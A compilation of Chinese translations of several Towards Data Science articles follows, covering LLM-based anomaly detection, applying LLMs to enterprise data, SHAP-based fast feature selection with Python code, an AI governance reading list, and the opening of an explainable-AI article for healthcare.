LLM 捕捉了数字特征和分类特征的结构。上图展示了表格数据框的每一行以及映射到 LLM 生成的嵌入的模型预测。LLM 以一种方式映射这些提示,从特征创建拓扑表面,这些特征基于 LLM 之前训练的内容。在上述示例中,你可以看到数值字段 X/Y/Z 在左侧为低值,在右侧为高值。(图片由作者提供)
可视化:*度缩减、聚类和异常识别
这个欧几里得距离图提供了一个粗略的指示,说明数据中是否存在异常。图表右侧的凸起与引入的数据中的合成异常是一致的。
UMAP 算法是一项重要创新,它旨在保持几何结构,以便优化使得紧密观察仍然保持紧密,而远离的观察保持远离。在进行*度减少后,我们应用聚类方法来查找密集的、相似的簇。这些簇随后与参考分布进行比较,这可以用来突出异常或漂移的簇。这些步骤大多数是无参数的。最终目标是识别出作为离群点的数据点簇。
嵌入漂移:通过 UMAP 降*、聚类和与参考分布比较的自动(异常)簇检测。漂移或异常点会自动用红色标出,并可排队进行进一步分析,包括带有人类反馈的强化学习。
实验结果
我们探讨了多种条件下的异常检测方法,包括异常变量的数量、异常的比例以及离群程度。在这些实验中,即使在值接近分布的中位数(中位数上下 +/- 5 个百分位)的情况下,我们也能够检测到异常区域,其占数据的比例达到了或超过了 2%。在实验的五次重复中,该方法都能自动找到并识别异常区域,并且如上节所示,使其明显可见。在将单个点识别为异常簇成员时,该方法的准确率为 97.6%,精确度为 84%,召回率为 89.4%。
结果总结
-
异常比例:2%
-
异常分位数:0.55
-
异常列数:4
-
准确率:97.6%
-
精确度:84.0%
-
召回率:89.4%
混淆矩阵
作者提供的图像
结论
这部分展示了使用预训练的 LLM 帮助从业者识别表格数据中的漂移和异常。在对不同异常比例、异常位置和异常列进行测试期间,该方法在大多数情况下能够检测到占数据 2%以内的异常区域,且这些区域位于变量值中位数的五个百分位以内。我们并不声称这种分辨率适合于稀有事件检测,但检测异常内点的能力令人印象深刻。更令人印象深刻的是,这种检测方法是无参数的,快速且易于实现,并且基于视觉。
该方法的实用性源自于呈现给 LLMs 的基于表格的数据提示。在训练过程中,LLMs 在高*空间中绘制拓扑表面,这些表面可以通过潜在的嵌入表示。通过预测映射出的高*表面代表了真实(训练)数据中的特征组合。如果 LLMs 接收到漂移或异常的数据,这些数据会出现在距离真实/真数据更远的流形上的不同位置。
这篇博客中描述的方法在模型可观测性和数据治理方面具有直接应用,允许数据组织与组织制定服务级别协议|理解(SLA)。例如,通过少量工作,组织可以声明将在固定时间内检测到所有异常,这些异常占数据的 2%体积。虽然这可能看起来不是什么重大好处,但它限制了漂移/异常造成的损害,并且可能比许多组织目前取得的结果更好。这可以安装在任何新的表格数据集上。随后,如有需要,组织可以努力提高灵敏度(降低检测限度)并改善 SLA。
将 LLM 应用于企业数据:概念、关注点和热点观点
·
关注 发表在 Towards Data Science ·11 分钟阅读·2023 年 5 月 28 日
--
来源:DreamStudio(由作者生成)
让 GPT-4 证明有无限个素数——而且要押韵——它可以做到。但让它回答你的团队上季度的表现如何,它将惨败。这说明了大型语言模型(“LLMs”)的一个根本性挑战:它们对一般的、公开的知识(如素数理论)有很好的理解,但对专有的、非公开的信息(例如你团队上季度的表现)完全不了解。[1] 专有信息对于绝大多数企业使用工作流至关重要。一个理解公共互联网的模型虽然有趣,但对于大多数组织在原始形式下作用不大。
在过去的一年里,我有幸与多个组织合作,将大型语言模型(LLMs)应用于企业案例。本文详细介绍了任何开始此类旅程的人应该了解的关键概念和关注点,以及对 LLMs 如何演变及其对机器学习产品策略的影响的一些见解。它面向产品经理、设计师、工程师以及其他对 LLMs“底层”工作原理了解有限或没有了解,但有兴趣学习这些概念而无需深入技术细节的读者。
四个概念
检索增强生成(RAG):上下文窗口和嵌入
让 LLM 对专有数据进行推理的最简单方法是将专有数据提供给模型的提示。大多数 LLM 可以正确回答以下问题:“我们有 2 个客户,A 和 B,分别花费了$100K 和$200K。谁是我们最大的客户,他们花了多少钱?”我们只是通过将查询(第二句话)与上下文(第一句话)预先添加来进行了基本的提示工程。
但在现实世界中,我们可能有成千上万或数百万的客户。我们如何决定哪些信息应该进入上下文——考虑到每个包含在上下文中的单词都需要付费?这就是嵌入的作用。嵌入是一种将文本转换为数值向量的方法,相似的文本生成相似的向量(在 N *空间中“接近”的向量)。[2] 我们可能会嵌入网站文本、文档,甚至是来自 SharePoint、Google Docs 或 Notion 的整个语料库。然后,对于每个用户提示,我们将其嵌入,并找到与我们的提示向量最相似的文本语料库中的向量。
例如,如果我们嵌入了有关动物的*基百科页面,当用户询问有关野生动物园的问题时,我们的搜索将高度排名有关狮子、斑马和长颈鹿的*基百科文章。这使我们能够识别与提示最相似的文本块——因此最有可能回答问题的文本块。[3] 我们将这些最相似的文本块包含在预先添加到提示中的上下文中,以便提示中包含 LLM 回答问题所需的所有信息。
微调
嵌入的一个缺点是每次调用 LLM 都需要将所有上下文与提示一起传递。LLM 没有对最基本的企业特定概念的“记忆”。而且由于大多数基于云的 LLM 提供商按提示令牌收费,这可能会很快变得昂贵。[4]
微调使 LLM 能够理解特定企业的概念,而无需在每个提示中包含这些概念。我们取一个基础模型,该模型已经通过数十亿个学习参数编码了一般知识,并调整这些参数以反映特定企业知识,同时仍保留底层的一般知识。[5] 当我们使用新的微调模型生成推断时,我们可以“免费”获得这些企业知识。
与嵌入/提示工程不同,后者的底层模型是第三方黑箱,微调更接近经典机器学习,机器学习团队从零开始创建自己的模型。微调需要一个带有标记观察的数据集;微调后的模型对训练数据的质量和数量非常敏感。我们还需要做出配置决策(如轮次、学习率等),协调长期训练任务,并跟踪模型版本。一些基础模型提供商提供了抽象化这种复杂性的 API,但有些则没有。
尽管微调模型的推断可能更便宜,但这可能会被昂贵的训练任务所抵消。[6] 一些基础模型提供商(如 OpenAI)仅支持落后模型的微调(所以不包括 ChatGPT 或 GPT-4)。
Evals
LLMs 带来了一个新颖且重要的挑战,即衡量复杂输出的质量。经典的机器学习团队有经过验证的方法来衡量简单输出的准确性,如数值预测或分类。但大多数企业使用 LLM 的场景涉及生成数十到数千个单词的响应。概念复杂到需要超过十个单词时,通常可以用多种方式表达。因此,即使我们有一个经过人工验证的“专家”响应,对模型响应与专家响应进行精确字符串匹配也是过于严格的测试,会低估模型响应的质量。
Evals框架,由 OpenAI 开源,是应对这一问题的一种方法。该框架需要一个标记的测试集(其中提示与“专家”响应匹配),但它允许对模型和专家响应进行广泛的比较。例如,模型生成的答案是否是专家答案的子集或超集;是否在事实上一致;比专家答案更简洁或不如专家答案简洁?警告是 Evals 使用 LLM 来进行这些检查。如果“检查者”LLM 存在缺陷,评估结果本身可能也会不准确。
对抗样本
如果你在生产环境中使用 LLM,你需要确信它能够安全地处理误导性或恶意的用户输入。对于大多数企业来说,起点是确保模型不会传播虚假信息。这意味着系统需要知道自己的局限性以及何时说“不知道”。这里有许多战术方法。可以通过提示工程来实现,例如使用提示语言“如果无法用上述上下文回答问题,请回答‘我不知道’”。也可以通过微调来实现,提供超出范围的训练示例,其中专家的回答是“我不知道”。
企业还需要防范恶意用户输入,例如提示黑客攻击。限制系统可接受的输入和输出的格式及长度可以是一个简单而有效的起点。如果你只是为内部用户服务,采取预防措施是一个好主意;如果你为外部用户服务,这些预防措施则是必不可少的。
三个关注点
偏见延续
最受欢迎的 LLM(OpenAI / GPT-4、Google / Bard)的开发者们已经费尽心力地将他们的模型与人类偏好对齐,并部署了复杂的调节层。如果你让 GPT-4 或 Bard 讲一个种族歧视或厌女的笑话,它们会礼貌地拒绝。[7]
这是个好消息。不过坏消息是,这种针对社会偏见的调节措施,并不一定能防止机构偏见。设想我们的客户支持团队对某一特定类型的客户有粗鲁的历史。如果历史的客户支持对话被天真地用于构建一个新的 AI 系统(例如,通过微调),这个系统可能会复制这种偏见。
如果你使用过去的数据来训练一个 AI 模型(无论是经典模型还是生成模型),需要仔细审视你希望将哪些过去的情况延续到未来,哪些则不希望。 有时,制定原则并以此为基础工作(例如,通过提示工程),而不是直接使用过去的数据,会更为简便。
模型锁定
除非你一直生活在石头下,否则你应该知道生成型 AI 模型正在迅速进步。考虑到企业使用场景,今天最好的 LLM 可能在六个月后就不是最佳解决方案,六年后几乎肯定不会是最佳解决方案。聪明的机器学习团队知道,他们会在某个时候需要更换模型。
但还有另外两个主要原因需要轻松“替换” LLMs。首先,许多基础模型提供者在支持指数增长的用户量方面遇到了困难,导致了停机和服务质量下降。在你的系统中构建一个备份基础模型是一个好主意。其次,在你的系统中测试多个基础模型(“赛马”)来了解哪个表现最好是非常有用的。根据上面的评估部分,分析地衡量模型质量通常很困难,因此有时你只想运行两个模型并进行定性比较。
数据泄露
阅读你考虑使用的任何基础模型的条款和条件。如果模型提供者有权使用用户输入进行未来的模型训练,那是令人担忧的。LLMs 体积如此庞大,以至于特定用户的查询/响应可能会直接编码到未来的模型版本中,并可能对该版本的任何用户开放。想象一下你组织中的用户查询“我如何清理这段做 XYZ 的代码? [你的专有机密代码在这里]”。如果这个查询被模型提供者用来重新训练他们的 LLM,那么新版本的 LLM 可能会学习到你的专有代码是解决 XYZ 用例的好方法。如果一个竞争对手询问如何做 XYZ,这个 LLM 可能会“泄露”你的源代码,或者类似的内容。
OpenAI 现在允许用户选择不让他们的数据用于训练模型,这设立了一个良好的先例,但并不是所有模型提供者都遵循了他们的例子。一些组织也在探索在自己的虚拟私有云中运行 LLMs;这也是对开源 LLMs 感兴趣的一个主要原因。
两个热点问题
提示工程将主导微调
当我首次开始为企业使用调整大型语言模型(LLMs)时,我对微调(fine tuning)的兴趣远大于提示工程(prompt engineering)。微调感觉更符合我所熟悉的经典机器学习系统的原则:处理一些数据,生成训练/测试数据集,启动训练任务,等待一段时间,评估结果与某些指标。
但我逐渐相信,对于大多数企业用例来说,提示工程(配合嵌入)是一种更好的方法。首先,提示工程的迭代周期比微调要快得多,因为没有模型训练,而模型训练可能需要数*时或数天。改变提示并生成新的响应可以在几分钟内完成。相反,微调在模型训练方面是不可逆的;如果使用了不正确的训练数据或出现了更好的基础模型,你需要重新开始微调任务。其次,提示工程需要的 ML 概念知识远少于神经网络超参数优化、训练任务协调或数据整理等。微调通常需要经验丰富的 ML 工程师,而提示工程通常可以由没有 ML 经验的软件工程师完成。第三,提示工程对于快速增长的模型链策略效果更佳,在这种策略中,复杂的请求被分解为更*的组成请求,每个请求可以分配给不同的 LLM。有时,最好的“组成模型”是经过微调的模型。[8] 但对企业而言,大多数增值工作在于(i)找出如何拆解问题,(ii)为每个组成部分编写提示,以及(iii)为每个部分确定最佳的现成模型;而不是创建自己的微调模型。
随着时间的推移,提示工程的优势可能会不断扩大。如今,提示工程需要长而昂贵的提示(因为每个提示必须包含上下文)。但我敢打赌,随着模型提供商领域的竞争加剧以及提供商们找到更便宜的 LLM 训练方法,每个 token 的成本会迅速下降。提示工程目前也受限于最大提示大*——不过,OpenAI 已经接受 GPT-4 每个提示 32K tokens(约 40 页的平均英文文本),而Anthropic 的 Claude 接受 100K tokens(约 15 页)。我也敢打赌,未来会出现更大的上下文窗口。
[2023 年 8 月更新] 这篇文章很棒 解释了你可能不需要微调的原因。
数据不会像以前那样成为护城河
随着 LLMs 在生成可人类解释的推理方面变得越来越好,考虑人类如何使用数据进行推理以及这对 LLMs 意味着什么是很有用的。[9] 人类实际上并不使用很多数据!大多数时候,我们做的是“零样本学习”,这意味着我们回答问题时不需要提供一组示例问答对。提问者只提供问题,我们根据逻辑、原则、启发式、偏见等来回答。
这与几年前的 LLMs 有所不同,当时它们只能进行少量学习,你需要在提示中包含少量示例问答对。这与经典的机器学习有很大不同,后者需要对数百、数千或数百万个问答对进行训练。
我坚信,LLM 使用案例中占主导地位的将会是“零样本”使用。LLMs 将能够在没有任何用户提供示例的情况下回答大多数问题。它们将需要提示工程,以指令、政策、假设等形式存在。例如,这篇文章使用 GPT-4 审查代码中的安全漏洞;这种方法不需要关于过去易受攻击代码的数据。清晰的指令、政策和假设将变得越来越重要——但拥有大量高质量、标记好的专有数据将变得不那么重要。
如果你正在积极地将 LLMs 应用于你的企业数据中,我很想听听你发现了什么有效,什么无效。请留下评论!
脚注
[1] 直到最近,LLMs 对最新的公开知识也不了解——例如,GPT-4 是在 2021 年 9 月之前收集的信息上进行训练的。然而,现在 GPT-4 和 Bard 的消费者接口可以查询开放互联网,并收集有关近期事件的信息。因此,时效性正迅速消退,成为 LLMs 的知识限制。
[2] 嵌入可以处理各种数据结构,而不仅仅是文本。
[3] 整个嵌入工作流程发生在调用 LLM 之前。例如,OpenAI 推荐使用其 ada-002 模型进行嵌入,这比任何前沿的 GPT 模型都更便宜、更快。
[4] 令牌是词语或词语的一部分。这是一个很好的解释,说明为什么语言模型使用令牌而不是词语。
[5] 学习到的参数数量可以从百万到万亿不等。目前大多数广泛使用的 LLM 具有数十亿个参数。
[6] 更便宜的推理并非理所当然;OpenAI 收费 每 1 千个令牌$0.03–0.06,适用于具有 8K 上下文窗口的 GPT-4(具体取决于令牌是输入还是输出)。针对经过微调的 Davinci 模型,它的收费为每 1 千个令牌$0.12,该模型已相对滞后。
[7] 当然,这些人类是由 OpenAI 和 Google 雇佣的。由于许多人不同意这些组织的价值观,他们也不同意这些审查政策。
[8] 例如,GOAT 是一个针对算术进行了微调的开源模型 LLaMA 的版本。它在许多算术基准测试中超越了 GPT-4。大多数企业的工作流程都需要进行算术运算;在链式处理方法下,涉及算术的工作流程部分会被识别并路由到 GOAT。对于这样的企业来说,投资于良好的路由和与 GOAT 的集成是有意义的,但在我看来,不值得自己微调算术 LLM。
[9] 关于今天的语言模型(LLMs)是否能够真正进行推理,以及真正的推理到底意味着什么(是否需要意识?自我意识?主动性?)存在很多争论。绕过这个哲学上的而非实证性的争论,值得注意的是,LLMs 在产生符合广泛认同的良好推理观念的解释方面确实在不断进步;这篇论文中有许多很好的例子。
“近似预测”使特征选择极大地加快
原文:
towardsdatascience.com/approximate-predictions-make-feature-selection-radically-faster-0f9664877687
特征选择之所以如此缓慢,是因为它需要创建许多模型。了解如何利用近似预测让其速度极快。
·发表于 Towards Data Science ·10 分钟阅读·2023 年 11 月 17 日
--
[作者提供的图片]
在开发机器学习模型时,我们通常从一大堆特征开始,这些特征是我们特征工程工作结果。
特征选择是选择对我们的机器学习模型最优的*子集特征的过程。
为什么这样做而不是保持所有特征?
-
内存。大数据占用大空间。丢弃特征意味着你需要更少的内存来处理数据。有时也会有外部约束。
-
时间。在较少的数据上重新训练模型可以节省大量时间。
-
准确性。少即是多:这对于机器学习也是如此。包含冗余或无关的特征意味着包含不必要的噪音。经常发生的情况是,使用较少数据训练的模型表现更好。
-
可解释性。较*的模型更容易解释。
-
调试。较*的模型更容易*护和排查故障。
现在,特征选择的主要问题是非常慢,因为它需要训练许多模型。
在这篇文章中,我们将看到一个技巧,它通过“近似预测”使特征选择极其快速。
一个非常困难的问题
让我们尝试可视化特征选择的问题。我们从N个特征开始,其中N通常是数百或数千个。
因此,特征选择的输出可以看作是一个长度为N的由“是”/“否”组成的数组,其中数组的每个元素告诉我们相应的特征是否被选择。
特征选择的输出。[作者提供的图片]
特征选择的过程包括尝试不同的“候选”,最后选择最佳的一个(根据我们的性能指标)。
每个候选都是一组不同的特征。 [作者提供的图像]
由于我们有N个特征,且每个特征可以被选择或不被选择,这意味着我们有 2^N 个可能的候选。
这个数字很快会变得巨大。例如,仅有 50 个特征,并假设评估一个候选平均需要 1 秒,那么尝试所有可能的候选将需要 3500 万年!
因此,应该清楚为什么在大多数实际情况下,评估的候选数量只是所有可能候选的一个微*部分。
候选方案提议与评估。
存在许多特征选择方法,但所有这些方法都可以被框架为由两个步骤组成的迭代过程:
-
提议一个新的候选。
-
评估候选。
一个非常通用的特征选择框架。 [作者提供的图像]
通常,所有注意力都集中在第一步。第一步的目的是基于我们目前的学习,找到可能表现良好的候选。
然而,在本文中,我们将完全忽略第 1 步,专注于第 2 步:候选评估。为此,我们将完全随机地提出新的候选。特别是,我们将使用以下函数来提出新的候选:
def get_random_candidate(features):
"""Get a random set of features."""
candidate_size = np.random.randint(1, len(features)+1)
candidate = np.random.choice(features, replace=False, size=candidate_size)
return candidate
关于第 2 步,我们将基于不同类型的预测比较两种评估策略:
-
精确预测。
-
近似预测。
如果你现在对这些术语不熟悉也不用担心,接下来的段落会让事情变得更清晰。
基于“精确预测”的特征选择。
给定一个新的候选,你到目前为止看到的所有特征选择方法可能都遵循这种结构:
-
在由训练观察和候选特征组成的数据框上训练模型。
-
使用模型对验证集进行预测。
-
在验证集上计算性能指标。
从图形上来看,这相当于:
基于精确预测的特征选择。 [作者提供的图像]
这种方法基于“精确预测”,因为我们获得的是仅在候选特征上训练的模型所做的实际预测。
这个过程,用 Python 表示,大致如下:
for iteration in n_iterations:
# Step 1: Propose a candidate (i.e. a list of features).
candidate = get_random_candidate(X_train.columns)
# Step 2: Train a model on those features
model = model.fit(X_train.loc[:, candidate], y_train)
# Step 3: Get the predictions made by the model on the validation set.
preds_valid = model.predict_proba(X_valid.loc[:, candidate])
# Step 3: Compute the performance metric on the validation set.
ap_valid = average_precision_score(y_valid, preds_valid)
正如你所见,每次迭代都会训练一个新的模型,使得这个过程非常缓慢。
那么,有没有办法在不必在每次迭代时训练新模型的情况下利用我们对特征的了解呢?
这就是“近似预测”发挥作用的地方。
近似预测的直觉。
为了帮助我们理解“近似预测”,我们使用Pycaret(一个遵循MIT 许可的 Python 库)中的示例数据集。数据集名为“Concrete”,任务是根据一些特征预测混凝土的强度。
我们从将观察数据分成训练集和验证集开始。
from pycaret.datasets import get_data
from sklearn.model_selection import train_test_split
df = get_data("concrete", verbose=False)
X, y = df.drop("strength", axis=1), df["strength"]
X_train, X_valid, y_train , y_valid = train_test_split(X, y)
我们可以在训练数据集上训练一个模型(我将使用 LightGBM,但任何模型都可以):
from lightgbm import LGBMRegressor
model = LGBMRegressor(verbose=-1).fit(X_train, y_train)
由于我们已经有了训练好的模型,我们可以计算 SHAP 值(如果你对这个主题不熟悉,可以阅读我的 SHAP 值介绍):
from shap import TreeExplainer
shap_explainer = TreeExplainer(model)
shap_expected_value = shap_explainer.expected_value
shap_valid = shap_explainer.shap_values(X_valid)
我们可以轻松显示 SHAP 值:
混凝土数据集验证集的 SHAP 值。[图片来自作者]
每个 SHAP 值代表了某个特征对该观察的最终预测的贡献。例如,如果我们取第一行的第一个特征(-14.708),这意味着该特征将最终预测值降低了-14.708。
SHAP 值最重要的特性是它们是加性的。这意味着如果我们对第一行的 SHAP 值(-14.708185 +7.572576 -0.366994 +…)进行求和,我们可以准确得到模型对该行的预测。
这对所有行都适用。不相信我?你可以用下面的代码自己检查:
import numpy as np
pred_valid = model.predict(X_valid)
pred_valid_proxy = shap_expected_value + shap_valid.sum(axis=1)
assert (np.abs(approx_pred_valid - pred_valid) < 1e-10).all()
这证明了通过求和任何个体的 SHAP 值,我们可以准确得到该个体的模型预测(实际上在第十位*数处有一个*的四舍五入差异,但可以忽略)。
我们可以利用 SHAP 值的加性属性来模拟训练于特定特征子集的模型所产生的预测。
假设我们想回答以下问题:“如果模型只使用特征Fly Ash、Water和Age,它会做出什么预测?”
从 SHAP 值中选择特征子集。[图片来自作者]
SHAP 值允许我们回答这个问题。实际上,由于它们是加性的,并且考虑了特征间的交互,只需对那些特征的 SHAP 值进行求和,我们就能估计出一个仅在这些特征上训练的模型所做的预测。
candidate_features = [...]
approx_pred_valid = shap_expected_value + shap_valid[candidate_features].sum(axis=1)
当然,这只是一个近似!如果我们想要准确的预测,我们需要训练一个仅专注于候选特征的新模型。这就是为什么我称这种方式获得的预测为“近似预测”。
但是,近似预测对特征选择有什么用呢?
基于“近似预测”的特征选择
近似预测允许我们模拟任何可能的特征候选,而不必训练一个新模型。我们只需要训练所有特征的模型的 SHAP 值。
你能看到这为什么是一个改变游戏规则的因素吗?使用精确预测时,我们需要在每次迭代时训练一个新模型。相反,为了获得近似预测,我们只需对数据框的某些列进行求和! 这使得过程快得多。
从图形上看,这就是近似预测发生的情况:
基于近似预测的特征选择。[作者提供的图片]
在 Python 中的翻译:
# Step 0: Train a model on the dataset with all the features and compute the
# SHAP values on the validation set.
shap_valid = model.fit(X_train, y_train).get_shap_values(X_valid)
for iteration in n_iterations:
# Step 1: Propose a candidate (i.e. a list of features).
candidate = get_random_candidate(X_train.columns)
# Step 2: Get the predictions on the validation set
# (by summing the SHAP values of the respective features).
pred_valid = shap_valid.loc[:, candidate].sum(axis=1)
# Step 3: Compute the performance metric on the validation set.
ap_valid = average_precision_score(y_valid, pred_valid)
如你所见,在这种情况下,一开始只训练了一个模型。然后,在每次迭代中,我们只是执行简单的列求和,这显然比训练一个全新的模型要快得多。
这看起来很惊人,但我们必须记住,求和一些特征的 SHAP 值就像是获得一个代理,这个代理接近于如果我们只用这些特征训练模型时的实际预测。
所以,就像任何近似一样,问题变成了:这个近似对我们的目的足够好吗?
代理是否足够好?
为了回答这个问题,让我们从Pycaret(一个MIT 许可证下的 Python 库)中获取一个示例数据集。
数据集称为“心脏”,包含 15 个特征:
-
AGE_50
-
MD_50
-
SBP_50
-
DBP_50
-
HT_50
-
WT_50
-
CHOL_50
-
SES
-
CL_STATUS
-
MD_62
-
SBP_62
-
DBP_62
-
CHOL_62
-
WT_62
-
IHD_DX
使用这些特征,我随机生成了 50 个不同的候选(即 50 组不同的特征)。作为性能指标,我使用了平均精度。对于每个候选,我尝试了精确预测和近似预测方法,并且对于这两种方法,我计算了:
-
实际 AP:这是使用精确预测计算的平均精度。
-
预测的 AP:这是使用近似预测计算的平均精度。
如果预测的 AP 与实际的 AP 非常相似,我们可以说代理是好的。
让我们可视化 50 个候选的预测 AP 和实际 AP。
心脏数据集。每个点表示一组候选特征。[作者提供的图片]
作为例子,我添加了一些标签,显示了该候选特征中包含的特征。
出于好奇,我们还来可视化每个候选特征包含的特征数量。
心脏数据集。每个点表示一组候选特征。标签表示该候选特征的数量。[作者提供的图片]
预测的 AP 与实际的 AP 似乎非常相关,这是好消息!
让我们来测量一下。我将使用斯皮尔曼相关系数而不是皮尔逊相关系数,因为在这种情况下,我们更关注候选的相对顺序,而不是它们的线性关系。
在这种情况下,相关性为 89%,非常高。这对我们来说是好消息,因为这意味着如果我们使用近似预测选择最佳候选特征,这个候选特征也很可能是准确预测中的最佳(或最佳之一)候选特征。
我们也可以对 Pycaret 中的一些其他数据集重复相同的程序。对于每个数据集,我随机抽取 50 个特征集候选项,并测量预测 AP 和实际 AP。
这些是结果:
13 个数据集,每个数据集 50 个候选特征。每个点代表一个候选特征。[作者提供的图片]
一看之下,似乎所有数据集都有很强的相关性。这再次证实了我们的直觉。
但让我们更严谨地进行计算,分别计算每个数据集的预测 AP 与实际 AP 之间的斯皮尔曼相关性:
数据集之间预测 AP 和实际 AP 的相关性。[作者提供的图片]
这些数字证实了我们之前的印象:相关系数始终很高,介于 87%和 100%之间。
因此,我们可以得出结论:近似预测实际上是准确预测的良好代理, 我们可以利用它们使特征选择变得更快,同时保持可靠性。
结论
任何特征选择方法至少包括两个步骤:提出一组新的候选特征和评估这些候选特征。
在这篇文章中,我们专注于第二步(评估),展示了如何利用 SHAP 值来获得“近似预测”。这种方法允许我们获得“准确预测”的估计值,即如果我们训练一个专注于每组特征的不同模型,我们将会得到的预测结果。
好处在于近似预测通过简单的加法获得,从而使评估步骤大大加快,并允许评估更多候选特征。
我们还展示了近似预测足够可靠,因为我们使用这种方法获得的性能指标与我们使用准确预测所获得的性能指标高度相关。
你可以通过 这个笔记本复制本文中使用的所有代码。
感谢你的阅读!
如果你觉得我的工作有用,你可以订阅 每次我发布新文章时接收电子邮件 (通常每月一次)。
想要支持我的工作?你可以 请我喝一杯卡布奇诺。
如果你愿意, 加我 Linkedin!
2024 年 4 月特刊:人工智能能否被治理?
月度特刊
负责创新的利害关系和挑战
·
关注 发表在 Towards Data Science · 4 分钟阅读 · 2023 年 4 月 5 日
--
图片由 Marnee Wohlfert 提供,发布在 Unsplash
在人工智能研究领域,区分真正的进展与炒作从未如此困难,但最近几周我们似乎达到了一个转折点。之前需要深厚技术专长的工具已经进入主流,而整个行业似乎在随着强大且易于获取的人工智能应用的出现,质疑自身的生存机会。
上个月底,数百位知名研究人员和科技领袖发布了一份广泛传播的请愿书,呼吁暂时停止所有超越 GPT-4 能力的人工智能系统的开发。许多批评性的回应随之而来,其中包括由“随机鹦鹉”作者 Timnit Gebru、Emily M. Bender、Angelina McMillan-Major 和 Margaret Mitchell 提出的犀利异议,他们旨在重新审视围绕人工智能发展所带来的实际伦理和社会风险的辩论。
关于人工智能未来的更广泛讨论是复杂的、常常令人困惑的,并且不断变化。为了帮助我们的社区了解这个话题的广泛观点,我们选择了几篇突出的文章,从多个角度对其进行了覆盖。这些文章的作者避免了简单的“人工智能:好还是坏?”辩论,为那些没有简单答案的问题增添了急需的细微差别。
在我们深入探讨之前,我们想像往常一样感谢你对我们发布的工作的支持。对于那些想要做出有意义贡献的你们,考虑成为 Medium 会员;如果你是符合条件国家的学生,你现在可以以大幅折扣注册。
TDS 编辑亮点
-
我为何签署了“暂停巨型人工智能实验”请愿书(2023 年 3 月,8 分钟)
尽管他是上述请愿书的签署者,Rafe Brena 博士 对于请愿书处理人工智能相关风险的方式有一些保留意见。他的最新文章解开了促使他最终决定在公开信上签名的思考过程,并描述了他希望看到的行业发展方向。
-
机器学习项目中的伦理考量(2023 年 2 月,7 分钟)
如果你对人工智能伦理话题还比较陌生,Hennie de Harder的概述是一个有用的、适合初学者的入门指南,涵盖了一些关键概念和挑战,包括可解释性和隐私。
-
欧盟的人工智能法案是什么,它将带来什么变化?(2022 年 8 月,16 分钟)
对于调节 AI 工具的创建和实施,欧洲联盟的人工智能法案是最雄心勃勃的尝试之一。Sara Tähtinen带我们了解了这部提案法的关键细节,并对其优缺点进行了批判性评估。
-
关于 AI 治理:如何开始(2022 年 10 月,8 分钟)
AI 的负责任使用在超本地层面同样至关重要。Albert Suryadi认为,每个组织都需要考虑 AI 治理,以建立和*护信任,并分享了创建强大内部结构以实现这一目标的路线图。
-
算法责任的参与性方法(2022 年 5 月,11 分钟)
“Maya Murad说,‘在审议民主制中,公民应对他们的数据使用拥有主动权,’包括在私人实体部署的算法决策系统(ADS)的背景下。如何实现这一点是棘手的,但 Maya 建议采用一种参与性框架,使人们和组织能够成为过程中的积极合作伙伴。”
-
我们不知道如何让 AGI 安全(2022 年 7 月,21 分钟)
关于人工通用智能的讨论——AI 研究人员是否在玩火?它可能就在拐角处吗?——总有可能沦为平庸的科幻*说(机器会杀死我们吗?)。Kyle O'Brien的反思恰恰因为承认了这一风险,并主张在 AI 进入未知领域时保持冷静和好奇而脱颖而出。
原创专题
探索我们最新的资源和阅读推荐。
-
我们不断变化的全球村本特别专题汇集了 30 篇顶尖文章(以及一些推荐的公共数据集),涵盖数据科学、人口分析和可持续性等交汇点。
-
让我们谈谈数学(面向数据科学家)通过我们精心策划的总结,探索数学的美丽和复杂性——它涵盖了适合初学者的话题(例如:逻辑回归)以及更高级的主题。
-
自然语言处理不仅仅是聊天机器人我们挑选了一些关于 NLP 主题的最新激动人心的项目讲解和教程,超越了 ChatGPT 和类似工具。
热门 文章
如果你错过了,以下是上个月 TDS 上一些最受欢迎的文章。
-
帮助我获得数据科学家职位的作品集 由 Matt Chapman 撰写
-
GPT-4 与 ChatGPT:训练、性能、能力与局限性探讨 由 Mary Newhauser 撰写
-
我在几乎所有数据科学项目中使用的 5 个 Python 装饰器 由 Thuwarakesh Murallie 撰写
-
三步学习机器学习:如何高效学习 由 Angela Shi 撰写
-
通过向这些专业人士学习来提升你的 Python 技能 由 Tomer Gabay 撰写
-
忘掉 SQLite,改用 DuckDB——感谢我吧 由 Pol Marin 撰写
我们很高兴在三月份欢迎一批新的 TDS 作者——他们包括 João Pereira、Dorian Drost、Diogo Leitão、Leonardo Castorina、Jae Kim、Hang YU、Matt Chapman 和 Robert Elmes 等人。如果你有有趣的项目或想法想要分享,我们很想听听你的意见!
下个月见。
Araucana XAI:利用决策树在医疗保健中的局部解释性
原文:
towardsdatascience.com/araucana-xai-why-did-ai-get-this-one-wrong-8ee79dabdb1a
引入一种基于 CART 的模型无关、后期 XAI 方法,以提供局部解释,提升医疗保健中 AI 辅助决策的透明度
·发表于 Towards Data Science ·阅读时间 7 分钟·2023 年 7 月 14 日
--
“Araucana”一词来源于智利的猴面包树松,但也是一种美丽的家禽鸡的名字。© MelaniMarfeld 来源于 Pixabay
为什么 AI 会在这一点上出错?
在人工智能领域,对复杂 AI 系统缺乏透明度和可理解性的担忧日益增加。近期研究致力于通过开发解释性模型来解决这个问题,这些模型揭示了像提升、集成和深度学习技术等不透明系统的内部工作原理。
局部和全球解释性
解释性模型可以以两种不同的方式揭示 AI 系统的行为:
-
全球解释性。全球解释器提供对 AI 分类器整体行为的全面理解。他们旨在揭示在各种输入和场景中保持一致的宏观模式、趋势、偏差和其他特征。
-
局部解释性。另一方面,局部解释器专注于提供对 AI 系统在单个实例中的决策过程的见解。通过突出对模型预测有重大影响的特征或输入,局部解释器提供了对特定决策如何得出的一个 glimpse。然而,需要注意的是,这些解释可能不适用于其他实例,也不能全面理解模型的整体行为。
对可信且透明的 AI 系统的需求不断增加,这不仅受到以准确性著称但解释性有限的复杂黑箱模型广泛采用的推动,也受到遵守新法规的需求的激励,这些法规旨在保护个人免受数据及数据驱动应用滥用的影响,如人工智能法案、通用数据保护条例(GDPR)或美国国防部的人工智能伦理原则。
通过深入了解 AI 系统的内部工作机制并提供输出解释,研究人员努力揭开黑箱的神秘面纱,促进对重新塑造我们世界的技术的更大理解和信任。
